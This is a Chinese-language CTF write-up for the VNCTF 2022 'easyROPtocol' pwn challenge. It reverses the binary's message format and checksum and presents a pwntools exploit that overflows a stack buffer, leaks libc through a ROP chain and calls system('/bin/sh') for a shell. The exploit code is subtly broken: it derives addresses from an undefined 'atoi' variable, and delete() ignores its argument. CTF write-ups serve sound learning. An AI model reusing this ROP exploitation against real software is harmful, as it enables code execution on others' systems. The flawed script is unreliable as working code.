easyROPtocol

原创

白兰王 于 2022-03-05 13:30:57 发布 72 收藏
文章标签： pwn

感觉重点在构造，但其实跑起来试试就逝世。拉锯数小时，beng bu zhu le。

官方wp传送门VNCTF 2022 Official WriteUp.pdf (tonycrane.cc)

打开main，里面123对应着创建删除运行。

重点在1里

```
void sub_40164F()
{
  size_t v0; // rax
  unsigned int v1; // [rsp+8h] [rbp-8h]
  int i; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 3 && qword_404240[i]; ++i )
    ;
  if ( i != 4 )
  {
    qword_404240[i] = malloc(0x1000uLL);
    read(0, (void *)qword_404240[i], 0x1000uLL);
    v1 = sub_4014AF(qword_404240[i]);
    if ( sub_401590(qword_404240[i]) & v1 )
    {
      dword_40422C = 1;
    }
    else
    {
      v0 = strlen(aBengBuZhuLe);
      write(2, aBengBuZhuLe, v0);
      free((void *)qword_404240[i]);
      qword_404240[i] = 0LL;
    }
  }
}
```


第二个if如果不满足就会删除

```
__int64 __fastcall sub_4014AF(__int64 a1)
{
  __int64 result; // rax

  if ( *(_WORD *)a1 != 30318 )
    return 0LL;
  if ( *(_WORD *)(a1 + 2) != 10423 )
    return 0LL;
  if ( !*(_DWORD *)(a1 + 4) )
    return 0LL;
  if ( !*(_DWORD *)(a1 + 8) )
    return 0LL;
  if ( !*(_WORD *)(a1 + 14) )
    return 0LL;
  if ( *(_WORD *)(a1 + 18) )
    return 0LL;
  if ( 4 * (*(_WORD *)(a1 + 12) & 0xF) == 20 )
    goto LABEL_18;
  if ( 4 * (*(_WORD *)(a1 + 12) & 0xF) != 24 )
    return 0LL;
  if ( *(_WORD *)(a1 + 22) == 0xFFFF )
LABEL_18:
    result = 1LL;
  else
    result = 0LL;
  return result;
}
```


v1里

决定了前4位的数（如果选择两个一起放，记得处理小端序），后面则告诉我们几位不能为0几位必须为0，12里非5即6

```
_BOOL8 __fastcall sub_401590(__int64 a1)
{
  char v2[23]; // [rsp+Bh] [rbp-1Dh] BYREF
  unsigned __int16 j; // [rsp+22h] [rbp-6h]
  unsigned __int16 i; // [rsp+24h] [rbp-4h]
  __int16 v5; // [rsp+26h] [rbp-2h]

  strcpy(v2, "fakeipheadfa");
  *(_QWORD *)&v2[13] = v2;
  v5 = 0;
  for ( i = 0; i <= 5u; ++i )
    v5 ^= *(_WORD *)(2LL * i + *(_QWORD *)&v2[13]);
  *(_QWORD *)&v2[13] = a1;
  for ( j = 0; j <= 0x7FFu; ++j )
  {
    if ( j != 8 )
      v5 ^= *(_WORD *)(2LL * j + *(_QWORD *)&v2[13]);
  }
  return v5 == *(_WORD *)(a1 + 16);
}
```

第二个里是个^。先去处理第一个，第二个再处理。

```
struct message {
 uint32_t heap;   // 固定值 0x28b7766e
 uint32_t size;   // submit函数中的memcpy会校验，依次为1 0x1001 0x2001 0x3001
 uint32_t _1;   // 不能为0
 uint16_t type;   // 要么为5要么为6
 uint16_t _2;   // 不能为0
 uint16_t check_sum; // 校验和
 uint16_t _3;   // 必须为0
 uint16_t flag1;  // 可控制submit函数的分支
 uint16_t flag2;  // 当type为6时，必须为0xffff
 char data[];  // 数据
};
```

两张图分别对应第一个和第二个。

```
def calc_sum(payload):
    res = 0
    payload = b"fakeipheadfa" +  payload
    assert len(payload) % 2 == 0
    for i in range(len(payload) // 2):
        tmp = payload[2*i: 2*i+2]
        tmp = int.from_bytes(tmp, "little")
        res ^= tmp
    return res
```

打开1

```
1 ssize_t sub_401830()
2 {
3   const void *v0; // rbx
4   size_t v1; // rax
5   size_t v2; // rax
6   char s[24]; // [rsp+0h] [rbp-3020h] BYREF
7   int i; // [rsp+3008h] [rbp-18h]
8   int v6; // [rsp+300Ch] [rbp-14h]
9
0   v6 = 1;
1   memset(s, 0, 0x3000uLL);
2   while ( dword_40422C )
3   {
4     for ( i = 0; i <= 3 && (!qword_404240[i] || *(_DWORD *)(qword_404240[i] + 4LL) != v6); ++i )
5       ;
6     if ( i == 4 )
7       break;
8     if ( 4 * (*(_WORD *)(qword_404240[i] + 12LL) & 0xF) != 20 && *(_WORD *)(qword_404240[i] + 20LL) )
9     {
0       v0 = (const void *)(qword_404240[i] + 4 * (*(_WORD *)(qword_404240[i] + 12LL) & 0xF));
1       v1 = strlen(s);
2       memcpy(&s[v1], v0, 0x1000uLL);
3       v6 += 4096;
4     }
5     else
6     {
7       strcpy(s, (const char *)(4 * (*(_WORD *)(qword_404240[i] + 12LL) & 0xF) + qword_404240[i]));
8       dword_40422C = 0;
9     }
0   }
1   v2 = strlen(s);
2   write(1, s, v2);
3   return write(1, "Done.\n", 6uLL);
4 }
```

if哪里直接告诉不能用5，只能用6，memcpy注意copy从v0开始。，v6哪里决定了size位。

思路采用先调用write把write的真实地址写出，利用已给libc找到system和binsh第二次重复上述。

exp

```
from pwn import *
io=remote("node4.buuoj.cn",29878)
elf=ELF("./pwn")
lib=ELF("./libc-2.31.so")
menu = lambda x : io.sendlineafter("4. Quit.\n", str(x))
def calc_sum(payload):
    res = 0
    payload = b"fakeipheadfa" +  payload
    assert len(payload) % 2 == 0
    for i in range(len(payload) // 2):
        tmp = payload[2*i: 2*i+2]
        tmp = int.from_bytes(tmp, "little")
        res ^= tmp
    return res


def get_message(size, data=b""):
    payload = b""
    payload += p32(0x28b7766e) # head
    payload += p32(size)
    payload += p32(1)
    payload += p16(6)
    payload += p16(1) # 7
    # check sum后续补上
    payload += p16(0)
    payload += p16(1) # 10
    payload += p16(0xffff)
    payload += data
    last = payload[:0x10]+p16(calc_sum(payload))+payload[0x10:]
    return last


def create(size, data=b""):
    menu(1)
    sleep(1)
    data = get_message(size, data)
    io.sendline(data)


def delete(idx):
    menu(2)
    sleep(0.1)
    io.sendlineafter("Which?",str(i))

def submit():
    menu(3)
    #io.sendline(b'3')
    sleep(0.1)

context.update(timeout=10)

payload = cyclic(0xfe8)
create(1, payload)
```

```
create(0x1001, payload)
create(0x2001,payload)
pop_rsi_r15= 0x0000000000401bb1

pay_attack = flat(
    [
        pop_rsi_r15,
        elf.got['write'],
        0,
        elf.plt['write'],
        0x401a5e
    ]
)

create(0x3001, flat({112:pay_attack}, length=0x400))

submit()

write=u64(io.recv(6).ljust(8,b'\x00'))
system=atoi+lib.sym['system']-lib.sym['write']
str_bin_sh=atoi+lib.sym['str_bin_sh']-lib.sym['write']

delete(0)
delete(1)
delete(2)
delete(3)

payload = cyclic(0xfe8)
create(1, payload)
create(0x1001, payload)
create(0x2001, payload)

pop_rdi=0x0000000000401bb3
pay_attack =p64(pop_rdi)+p64(str_bin_sh)+p64(system)

create(0x3001, flat({112-6:pay_attack}, length=0x400))
submit()

io.interactive()
```